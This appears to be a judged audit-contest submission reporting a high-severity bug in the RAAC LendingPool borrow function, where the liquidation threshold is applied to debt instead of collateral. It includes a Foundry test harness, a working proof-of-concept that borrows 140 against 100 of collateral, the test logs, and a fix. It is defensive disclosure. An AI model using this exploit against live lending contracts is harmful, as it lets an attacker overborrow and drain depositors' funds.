Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Reversed Liquidation Threshold Check Allows Overborrowing and Completely Drain of the LendingPool

Summary

The LendingPool's collateral validation check in the borrow function is implemented backwards, applying the liquidation threshold to the debt instead of the collateral. This allows users to borrow significantly more than their collateral value, which allow draining the protocol

Vulnerability Details

When a user attempts to borrow from the LendingPool, the contract checks if they have sufficient collateral using the liquidationThreshold parameter. However, the check is implemented incorrectly:

// LendingPool.sol
function borrow(uint256 amount) external {
// ...
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
}

The check applies the liquidation threshold (example : 70%) to the debt instead of the collateral, completely reversing the intended safety check:

Current implementation:

  • Checks if: collateralValue < debt * 0.7

  • Example: 100 ETH collateral, 140 ETH debt

  • Check: 100 < 140 * 0.7 (98) = false (allows borrow)

Should be:

  • Check if: collateralValue * 0.7 < debt

  • Example: 100 ETH collateral, 140 ETH debt

  • Check: 100 * 0.7 (70) < 140 = true (should prevent borrow)

PoC

Foundry Envirement Setup
  • i'm using foundry for test , to integrate foundry :
    run :

    npm install --save-dev @nomicfoundation/hardhat-foundry

    add this to hardhat.config.cjs :

    require("@nomicfoundation/hardhat-foundry");

    run :

    npx hardhat init-foundry
  • comment the test/unit/libraries/ReserveLibraryMock.sol as it's causing compiling errors

  • inside test folder , create new dir foundry and inside it , create new file baseTest.sol , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RAACToken.sol";
import "../../contracts/core/tokens/veRAACToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/DEToken.sol";
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/core/pools/StabilityPool/StabilityPool.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/mocks/core/tokens/crvUSDToken.sol";
import "../../contracts/core/collectors/FeeCollector.sol";
import "../../contracts/core/collectors/Treasury.sol";
import "../../contracts/core/minters/RAACMinter/RAACMinter.sol";
import "../../contracts/core/minters/RAACReleaseOrchestrator/RAACReleaseOrchestrator.sol";
contract baseTest is Test {
// Protocol contracts
crvUSDToken public crvUSD;
RAACToken public raacToken;
veRAACToken public veToken;
RAACHousePrices public housePrices;
RAACNFT public raacNFT;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
LendingPool public lendingPool;
StabilityPool public stabilityPool;
Treasury public treasury;
Treasury public repairFund;
FeeCollector public feeCollector;
RAACMinter public minter;
RAACReleaseOrchestrator public releaseOrchestrator;
// Test accounts
address public admin = makeAddr("admin");
address public user1 = makeAddr("user1");
address public user2 = makeAddr("user2");
address public user3 = makeAddr("user3");
// Constants
uint256 public constant INITIAL_MINT = 1000 ether;
uint256 public constant HOUSE_PRICE = 100 ether;
uint256 public constant INITIAL_PRIME_RATE = 0.1e27; // 10% in RAY
uint256 public constant TAX_RATE = 200; // 2% in basis points
uint256 public constant BURN_RATE = 50; // 0.5% in basis points
function setUp() public virtual {
vm.startPrank(admin);
// Deploy base tokens
crvUSD = new crvUSDToken(admin);
crvUSD.setMinter(admin);
raacToken = new RAACToken(admin, TAX_RATE, BURN_RATE);
veToken = new veRAACToken(address(raacToken));
releaseOrchestrator = new RAACReleaseOrchestrator(address(raacToken));
// Deploy mock oracle
housePrices = new RAACHousePrices(admin);
housePrices.setOracle(admin);
// Deploy NFT
raacNFT = new RAACNFT(address(crvUSD), address(housePrices), admin);
// Deploy pool tokens
rToken = new RToken("RToken", "RT", admin, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", admin);
deToken = new DEToken("DEToken", "DEToken", admin, address(rToken));
// Deploy core components
treasury = new Treasury(admin);
repairFund = new Treasury(admin);
feeCollector =
new FeeCollector(address(raacToken), address(veToken), address(treasury), address(repairFund), admin);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(housePrices),
INITIAL_PRIME_RATE
);
stabilityPool = new StabilityPool(admin);
minter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), address(treasury));
// Initialize contracts
raacToken.setFeeCollector(address(feeCollector));
raacToken.manageWhitelist(address(feeCollector), true);
raacToken.manageWhitelist(address(veToken), true);
raacToken.manageWhitelist(admin, true);
raacToken.setMinter(admin);
raacToken.mint(user2, INITIAL_MINT);
raacToken.mint(user3, INITIAL_MINT);
raacToken.setMinter(address(minter));
bytes32 FEE_MANAGER_ROLE = feeCollector.FEE_MANAGER_ROLE();
bytes32 EMERGENCY_ROLE = feeCollector.EMERGENCY_ROLE();
bytes32 DISTRIBUTOR_ROLE = feeCollector.DISTRIBUTOR_ROLE();
feeCollector.grantRole(FEE_MANAGER_ROLE, admin);
feeCollector.grantRole(EMERGENCY_ROLE, admin);
feeCollector.grantRole(DISTRIBUTOR_ROLE, admin);
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
raacToken.transferOwnership(address(minter));
rToken.transferOwnership(address(lendingPool));
debtToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(
address(rToken),
address(deToken),
address(raacToken),
address(minter),
address(crvUSD),
address(lendingPool)
);
lendingPool.setStabilityPool(address(stabilityPool));
// Setup test environment
crvUSD.mint(user1, INITIAL_MINT);
crvUSD.mint(user2, INITIAL_MINT);
crvUSD.mint(user3, INITIAL_MINT);
housePrices.setHousePrice(1, HOUSE_PRICE);
vm.stopPrank();
}
// Helper functions
function mintCrvUSD(address to, uint256 amount) public {
vm.prank(admin);
crvUSD.mint(to, amount);
}
function setHousePrice(uint256 tokenId, uint256 price) public {
vm.prank(admin);
housePrices.setHousePrice(tokenId, price);
}
function calculateInterest(uint256 principal, uint256 rate, uint256 time) public pure returns (uint256) {
return principal * rate * time / 365 days / 1e27;
}
function warpAndAccrue(uint256 time) public {
vm.warp(block.timestamp + time);
lendingPool.updateState();
}
}
  • now create a pocs.sol inside test/foundry , and copy/paste this there :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./baseTest.sol";
import {ERC4626} from "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockCurveVault is ERC4626 {
constructor(address _asset) ERC4626(ERC20(_asset)) ERC20("Mock Curve Vault", "mcrvUSD") {}
}
contract pocs is baseTest {
//poc here
}
  • the following PoC shows how user2 was able to borrow 140 crvUSD , while he have a callateral value of 100 crvUSD only

function test_poc03() public {
// Constants
uint256 NFT_PRICE = 100 ether; // Collateral value
uint256 BORROW_AMOUNT = 140 ether; // We'll borrow 140% of collateral
vm.startPrank(admin);
lendingPool.setParameter(ILendingPool.OwnerParameter.LiquidationThreshold, 7000);
vm.stopPrank();
// Supply liquidity to lending pool
vm.startPrank(user1);
crvUSD.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(BORROW_AMOUNT * 2);
vm.stopPrank();
// User deposits NFT worth 100 ether
uint256 tokenId = 1;
vm.startPrank(user2);
crvUSD.approve(address(raacNFT), type(uint256).max);
raacNFT.mint(tokenId, NFT_PRICE);
raacNFT.approve(address(lendingPool), tokenId);
lendingPool.depositNFT(tokenId);
vm.stopPrank();
// Set NFT price and mint
vm.prank(admin);
housePrices.setHousePrice(tokenId, NFT_PRICE);
// Should be able to borrow 140 ether despite only having 100 ether collateral
// This works because check is: collateral < debt * liquidationThreshold
// So: 100 < 140 * 0.7 = 98, which is false, allowing the borrow
vm.prank(user2);
lendingPool.borrow(BORROW_AMOUNT); // Should succeed despite being unsafe
// Verify the position
uint256 collateralValue = lendingPool.getUserCollateralValue(user2);
uint256 debtValue = lendingPool.getUserDebt(user2);
console.log("=== Reversed Threshold Check Exploit ===");
console.log("Collateral Value:", collateralValue / 1e18);
console.log("Debt Value:", debtValue / 1e18);
console.log("Collateral/Debt Ratio:", (collateralValue * 100 / debtValue), "%");
}
  • logs :

Ran 1 test for test/foundry/pocs.sol:pocs
[PASS] test_poc03() (gas: 740678)
Logs:
=== Reversed Threshold Check Exploit ===
Collateral Value: 100
Debt Value: 140
Collateral/Debt Ratio: 71 %

Impact

  • this vulnerability allow an attacker to drain the protocol completely , by borrowing more than his collateral value

Tools Used

  • Foundry

  • Manual Review

Recommendations

Fix the collateral check by applying the liquidation threshold to the collateral value:

// LendingPool.sol
function borrow(uint256 amount) external {
// ...
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.